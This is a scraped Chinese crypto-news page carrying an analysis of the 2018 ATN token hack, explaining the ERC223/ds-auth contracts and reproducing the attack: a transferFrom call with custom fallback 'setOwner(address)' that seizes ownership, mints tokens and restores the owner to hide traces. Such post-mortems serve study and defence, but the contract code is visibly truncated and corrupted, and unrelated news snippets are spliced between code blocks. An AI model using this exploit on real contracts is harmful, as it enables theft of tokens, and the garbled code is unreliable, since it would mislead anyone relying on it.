比特幣價格 比特幣價格
Ctrl+D 比特幣價格
ads
首頁 > MANA > Info

INT:區塊鏈安全—深入分析ATN漏洞_Penguin Finance

Author:

Time:1900/1/1 0:00:00

作者:Pinging

一、ATN介紹

ATN作為全球首個區塊鏈AI項目,是一個去中心化的、無需授權的、用戶自定義人工智能即服務(AIaaS)和使用接口的開放區塊鏈平臺。ATN公有鏈將引入DBot的Oracle預言機、跨鏈互操作技術,且通過石墨烯架構實現高并發TPS,側重解決人工智能服務(AIaas)與EVM兼容的智能合約之間互操作性的問題。ANT旨在提供下一代的區塊鏈平臺,提供AIaaS人工智能即服務和智能合約,為各個DApp服務,讓其可以具備調用人工智能能力,繁榮DBot生態。

然而在2018年5月11日中午,ATN安全檢測人員收到了異常的監控報告,并發現其ATN存在漏洞并遭受攻擊。黑客利用了ERC223合約可傳入自定義的接收調用函數與ds-auth權限校驗等特征,在ERC223合約調用這個自定義函數時,合約調用自身函數從而造成內部權限控制失效。而本文,我們就針對這次事件進行漏洞分析,并在文章中對漏洞詳情進行復現操作,以方便讀者進行深入研究。

二、合約詳解

ATNToken合約采用的是在傳統ERC20Token合約基礎上的擴展版本ERC223,并在此基礎上調用了dapphub/ds-auth庫。而我們在前文中提到的合約代碼均為ERC20,這里為何使用ERC23呢?下面我們介紹一下ERC23與ERC20的區別。

ERC223是由Dexaran于2017年3月5日提出的一個Token標準草案,用于改進ERC20,解決其無法處理發往合約自身Token的這一問題。ERC20有兩套代幣轉賬機制,一套為直接調用transfer()函數,另一套為調用approve()transferFrom()先授權再轉賬。當轉賬對象為智能合約時,這種情況必須使用第二套方法,否則轉往合約地址的Token將永遠無法再次轉出。

下面我們具體來看一下ATN合約代碼的具體函數。

contractDSAuthority{functioncanCall(addresssrc,addressdst,bytes4sig)publicviewreturns(bool);}contractDSAuthEvents{eventLogSetAuthority(addressindexedauthority);eventLogSetOwner(addressindexedowner);}

首先,代碼定義了兩個合約,第一個合約作為接口,而第二個合約聲明了兩個事件,用于記錄Authority以及設置owner。

鄭磊:區塊鏈有可能作為主要技術植入全面數字化社會治理體的建立:香港國際新經濟研究院數字經濟研究中心主任鄭磊在接受采訪時表示:“我認為這次疫情之后,在建立全面的數字化社會治理體系,尤其是智慧城市、新基建等方面,區塊鏈有可能作為主要技術植入其中,未來這方面的投資會不斷增加。區塊鏈技術在實體經濟的應用,自從去年11月份開始,已經漸漸進入佳境。在較低頻的應用方面,區塊鏈現有技術已經可以與傳統業務結合,比如金融、物流、農業、食品等行業,在醫療方面也有企業在嘗試。”(證券日報)[2020/3/17]

下面是DSAuth合約。

contractDSAuthisDSAuthEvents{DSAuthoritypublicauthority;addresspublicowner;functionDSAuth()public{owner=msg

functionsetOwner(addressowner_)publicauth{owner=owner_;LogSetOwner(owner);}functionsetAuthority(DSAuthorityauthority_)publicauth{authority=authority_;LogSetAuthority(authority);}modifierauth{require(isAuthorized(msg

functionisAuthorized(addresssrc,bytes4sig)internalviewreturns(bool){if(src==address(this)){returntrue;}elseif(src==owner){returntrue;}elseif(authority==DSAuthority(0)){returnfalse;}else{returnauthority

}}

此合約定義了一些基本的函數,而該合約大部分的功能是用于進行身份認證。例如setOwner用于更新owner的身份。而下面定義了一個auth修飾器,其中調用了下文的isAuthorized函數。次函數是來判斷該地址是否為合約為owner或者是否被授權。

下面合約定義了DSStop。

contractDSStopisDSNote,DSAuth{boolpublicstopped;modifierstoppable{require(!stopped);_;}functionstop()publicauthnote{stopped=true;}functionstart()publicauthnote{stopped=false;}}

聲音 | 經濟日報:重點發展區塊鏈等核心數字化產業:2月18日,經濟日報刊文《發展壯大數字經濟的現實路徑》。文章表示,對于當前數字經濟發展存在的一系列問題,需采取有針對性措施加以解決,找到發展壯大數字經濟的現實路徑。全方位加快數字經濟與實體經濟的深度融合,強化科技支撐。發展數字經濟,實現產業融合,技術創新是關鍵。國家層面要大力實施數字產業化和產業數字化“雙輪驅動”,前者要重點發展大數據、移動互聯網、云計算、人工智能、區塊鏈、5G等核心數字化產業。此外,應建立健全數字經濟發展的政策支撐體系,做好制度方面的統籌安排。推動技術創新,通過減稅降費、專利保護、專項融資等激勵政策,調動科技型企業、科研機構等加大對物聯網、云計算、大數據、人工智能、區塊鏈、5G等重點領域的研發投入。[2020/2/18]

看合約名我們也能清楚,該合約用于定義合約目前是否停止運行。所以合約內部定義了變量stopped并增加修飾器便于其余合約進行繼承使用。

而為了防止出現整數溢出等問題,合約定義了安全函數。

contractDSMath{functionadd(uintx,uinty)internalpurereturns(uintz){require((z=xy)>=x);}functionsub(uintx,uinty)internalpurereturns(uintz){require((z=x-y)<=x);}functionmul(uintx,uinty)internalpurereturns(uintz){require(y==0||(z=x*y)/y==x);}functionmin(uintx,uinty)internalpurereturns(uintz){returnx<=y?x:y;}functionmax(uintx,uinty)internalpurereturns(uintz){returnx>=y?x:y;}functionimin(intx,inty)internalpurereturns(intz){returnx<=y?x:y;}functionimax(intx,inty)internalpurereturns(intz){returnx>=y?x:y;}uintconstantWAD=10**18;uintconstantRAY=10**27;functionwmul(uintx,uinty)internalpurereturns(uintz){z=add(mul(x,y),WAD/2)/WAD;}functionrmul(uintx,uinty)internalpurereturns(uintz){z=add(mul(x,y),RAY/2)/RAY;}functionwdiv(uintx,uinty)internalpurereturns(uintz){z=add(mul(x,WAD),y/2)/y;}functionrdiv(uintx,uinty)internalpurereturns(uintz){z=add(mul(x,RAY),y/2)/y;}functionrpow(uintx,uintn)internalpurereturns(uintz){z=n%2!=0?x:RAY;for(n/=2;n!=0;n/=2){x=rmul(x,x);if(n%2!=0){z=rmul(z,x);}}}}

聲音 | 新京報:區塊鏈求職者多 但與需求不匹配:面對市場的大量需求,很多求職者進入區塊鏈行業,但真正符合要求的人才并沒有太多,市場供應呈現“虛假繁榮”狀態。根據《2019年區塊鏈人才供需與發展報告》,2019年三季度,招聘區塊鏈相關人才企業數及招聘人數同比分別下降53.68%和51.71%,求職人數依然達到招聘需求的7.12倍,供給規模遠大于需求。根據智聯招聘2018年調查數據,區塊鏈存量人才僅占需求量的7%。區塊鏈技術是一門多學科跨領域的技術,具體應用落地需要既懂技術又懂產業的復合型人才,但目前這樣的人比較稀缺。(新京報)[2019/11/27]

通讀此合約,我們能夠了解到在除了正常的加減乘除之外,合約還定義了平方求冪的運算函數——rpow。不過此函數在ATN中并沒有進行使用。

之后定義了DSTokenBase基礎合約。

contractDSTokenBaseisERC20,DSMath{uint256_supply;mapping(address=>uint256)_balances;mapping(address=>mapping(address=>uint256))_approvals;functionDSTokenBase(uintsupply)public{_balances=supply;_supply=supply;}functiontotalSupply()publicviewreturns(uint){return_supply;}functionbalanceOf(addresssrc)publicviewreturns(uint){return_balances;}functionallowance(addresssrc,addressguy)publicviewreturns(uint){return_approvals;}functiontransfer(addressdst,uintwad)publicreturns(bool){returntransferFrom(msg

functiontransferFrom(addresssrc,addressdst,uintwad)publicreturns(bool){if(src!=msg

_balances=sub(_balances,wad);_balances=add(_balances,wad);Transfer(src,dst,wad);returntrue;}functionapprove(addressguy,uintwad)publicreturns(bool){_approvals=wad;Approval(msg

行情 | 美股區塊鏈概念股普遍收漲:今日美股收盤,美股區塊鏈概念股普遍收漲。柯達收跌5.17%,埃森哲收漲0.8%%,overstock.com收漲2.14%;Riot Blockchain收漲2.1%,Marathon Patent收漲3.61%,Square收漲1.3%。[2018/9/19]

}

該合約與ERC20等基礎合約的部分相同,所以函數定義部分比較簡單,這里就不進行詳細說明。

contractDSTokenisDSTokenBase(0),DSStop{mapping(address=>mapping(address=>bool))_trusted;bytes32publicsymbol;uint256publicdecimals=18;//standardtokenprecision

eventTrust(addressindexedsrc,addressindexedguy,boolwat);eventMint(addressindexedguy,uintwad);eventBurn(addressindexedguy,uintwad);functiontrusted(addresssrc,addressguy)publicviewreturns(bool){return_trusted;}functiontrust(addressguy,boolwat)publicstoppable{_trusted=wat;Trust(msg

functionapprove(addressguy,uintwad)publicstoppablereturns(bool){returnsuper

functiontransferFrom(addresssrc,addressdst,uintwad)publicstoppablereturns(bool){if(src!=msg

_balances=sub(_balances,wad);_balances=add(_balances,wad);Transfer(src,dst,wad);returntrue;}functionpush(addressdst,uintwad)public{transferFrom(msg

functionpull(addresssrc,uintwad)public{transferFrom(src,msg

functionmove(addresssrc,addressdst,uintwad)public{transferFrom(src,dst,wad);}functionmint(uintwad)public{mint(msg

工信部:將重點從四個方面繼續務實推進區塊鏈相關工作: 4月26日,區塊鏈與產業互聯網融合應用60人論壇在北京啟動。作為行業管理部門,部信息化和軟件服務業司一直密切關注區塊鏈技術、應用和產業化發展,積極采取有效措施推動區塊鏈技術研發和應用探索等工作。部信息化和軟件服務業司將重點從四個方面繼續務實推進相關工作。一是深入研究把握區塊鏈產業發展趨勢。二是加強區塊鏈核心技術能力建設。三是支持開展區塊鏈創業創新。四是加快推動區塊鏈領域的標準體系建設。[2018/4/27]

functionburn(uintwad)public{burn(msg

functionmint(addressguy,uintwad)publicauthstoppable{_balances=add(_balances,wad);_supply=add(_supply,wad);Mint(guy,wad);}functionburn(addressguy,uintwad)publicauthstoppable{if(guy!=msg

_balances=sub(_balances,wad);_supply=sub(_supply,wad);Burn(guy,wad);}//Optionaltokennamebytes32publicname="";functionsetName(bytes32name_)publicauth{name=name_;}}

DSToken繼承了上文的合約以及用于停止合約運行的DSStop合約。

比較值得注意的地方為_trusted。此函數類似于記錄授權值,只有被授權后的用戶才能代替進行轉賬操作。并且此授權值有固定的金額。

而mint函數也是此合約的重點。該函數用于增加某地址的金額數量,而想要執行此函數,必須經過授權或者擁有權限。

之后合約定義了Controlled。

contractControlled{///}

此合約用于進行權限的判斷并進行對controller的修改。

而下面就是我們ATN合約的具體函數內容了。

ATN合約定義了多個類型的轉賬函數,其名字均相同,但是傳入參數不同。

functiontransferFrom(address_from,address_to,uint256_amount)publicreturns(boolsuccess){//Alertsthetokencontrollerofthetransferif(isContract(controller)){if(!TokenController(controller)

success=super

require(super

ERC223Transfer(_from,_to,_amount,_data);returntrue;}

在該合約中,我們知道函數首先判斷controller是否為一個合約而不是一個錢包地址。如何為合約的話,那么將調用TokenController中的onTransfer函數。

然而這并不是重點,之后將使用require(super

而為了保證安全性,合約還定義了轉賬函數以降低風險。

///@noticeThismethodcanbeusedbythecontrollertoextractmistakenly///senttokenstothiscontract.///@param_tokenTheaddressofthetokencontractthatyouwanttorecover///setto0incaseyouwanttoextractether

ERC20token=ERC20(_token);uintbalance=token

這里定義了claimTokens合約用于將余額全部提取以防止出現大的安全隱患。

三、漏洞復現

根據我們上文解釋,我們能夠發現在ATN合約中的轉賬函數多次出現了遠程調用的內容。這其實是很危險的行為。通常當我們調用ERC20的approve()函數給一個智能合約地址后,對方并不能收到相關通知進行下一步操作,常見做法是利用接收通知調用來解決無法監聽的問題。上面代碼是一種實現方式,很不幸這段代碼有嚴重的CUSTOM_CALL濫用漏洞。調用approveAndCall()函數后,會接著執行_spender上用戶自定義的其他方法來進行接收者的后續操作。

所以我們完全可以在transferFrom函數中傳入特定的參數從而執行特定的函數。

functiontransferFrom(address_from,address_to,uint256_amount,bytes_data,string_custom_fallback)publicreturns(boolsuccess){ERC223ReceivingContractreceiver=ERC223ReceivingContract(_to);receiving

比如我們可以傳入:

transferFrom(hacker_address,atn_contract_address,0,0,"setOwner(address)")_from:0xxxxxxxx--黑客地址_to:0xxxxxxx--ATN合約地址_amount:0_data:0x0_custom_fallback:setOwner(address)

這樣函數就會在執行轉賬操作后執行setOwner函數。此時setOwner會先驗證auth合法性的,而msg.sender就是ATN的合約地址。此時黑客將ATNToken合約的owner變更為自己控制的地址。

首先我們需要部署合約。

之后調用mint函數進行挖礦向合約中注入一定資產。

進行查看。

此時我們創建攻擊者賬戶。并查看其余額,查看當前owner。

之后我們切換到攻擊者賬戶下,并傳入參數:

"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0xca35b7d915458ef540ade6068dfe2f44e8fa733c",0,0x00,"setOwner(address)"

傳入后,我們再次查看owner的信息。

卻發現失敗了。仔細閱讀后發現我們需要將令_to為一個合約地址。

"0x14723a09acff6d2a60dcdf7aa4aff308fddc160c","0xbbf289d846208c16edc8474705c748aff07732db",0,0x00,"setOwner(address)"

更換地址后,我們執行。得到如下結果。

此時我們能夠看到owner已經更換。

既然我們已經成為合約擁有者,那么我們就給自己點福利。

我們成功給自己的賬戶中增加了一定的token。

之后我們為了銷聲匿跡。將合約主人換回從前。

至此,我們的攻擊目的已經達到。

在真實ATN中,我們能夠查詢到真實攻擊的交易情況:

黑客獲得提權,將自己的地址設為ownerhttps://etherscan.io/tx/0x3b7bd618c49e693c92b2d6bfb3a5adeae498d9d170c15fcc79dd374166d28b7b

黑客在獲得owner權限后,發行1100wATN到自己的攻擊主地址https://etherscan.io/tx/0x9b559ffae76d4b75d2f21bd643d44d1b96ee013c79918511e3127664f8f7a910

黑客將owner設置恢復,企圖隱藏蹤跡https://etherscan.io/tx/0xfd5c2180f002539cd636132f1baae0e318d8f1162fb62fb5e3493788a034545a

四、參考鏈接

http://btsabc.org/article-1449-1.html

https://etherscan.io/address/0x461733c17b0755ca5649b6db08b3e213fcf22546#code

https://paper.seebug.org/621/

https://www.jianshu.com/p/38cbf879ac72

https://github.com/dapphub/ds-auth/blob/master/src/auth.sol

Tags:INTUINADDESSHINT ChainPenguin FinanceDADDYDB價格Slime Royale Cupid Essence

MANA
TOKEN:FOne部分幣種退市公告_Meta Rewards Token

項目方及社區用戶: FOne部分幣種因流動性低下,多個幣種連續多日交易額為零,FOne平臺將于2019年4月22號20:00(GMT8)下線相關交易對,同時關閉充值通道.

1900/1/1 0:00:00
比特幣:蔡凱龍:即便沒有IEO 幣圈也該迎來一波反彈_IRENA價格

我們知道,幣圈交易脫胎于IPO,經歷了ICO與IMO……而為了吸引更多的投資者擁抱自己,各大交易平臺也是努力想要玩點新花樣.

1900/1/1 0:00:00
GCC:“BGCC幸運大轉盤 抽獎樂翻天”活動獎勵公示_BGCC

親愛的用戶: “BGCC幸運大轉盤抽獎樂翻天”活動已結束,所有獎勵已發放至個人賬戶,請所有符合獎勵條件的用戶在個人賬戶查看分發結果.

1900/1/1 0:00:00
DRE:DREP上線!充值交易贏20萬DREP VIP會員 3萬COINS空投獎勵_BizzCoin

親愛的Coinw用戶:Coinw將于4月26日12:01開啟DREP充值服務,屆時DREP充值交易賽將同步開啟.

1900/1/1 0:00:00
GATE:Gate.io公布4月10日“搶購點卡送GT”結果(超過價值5億美金有效下單)_GAT

Gate.io“搶購點卡送GT活動”第3天順利完成并第二次打破記錄!2小時的下單量超過了5億美金價值.

1900/1/1 0:00:00
以太坊:三大公鏈戰爭,V神、BM和孫宇晨的愛恨糾葛_VIT

-31QU的第288期推送-2019年4月13日,在澳大利亞悉尼舉辦的以太坊社區發展討論大會上,身為創始人的Vitalik在現場詮釋了一個程序員是如何表演RAP的.

1900/1/1 0:00:00
ads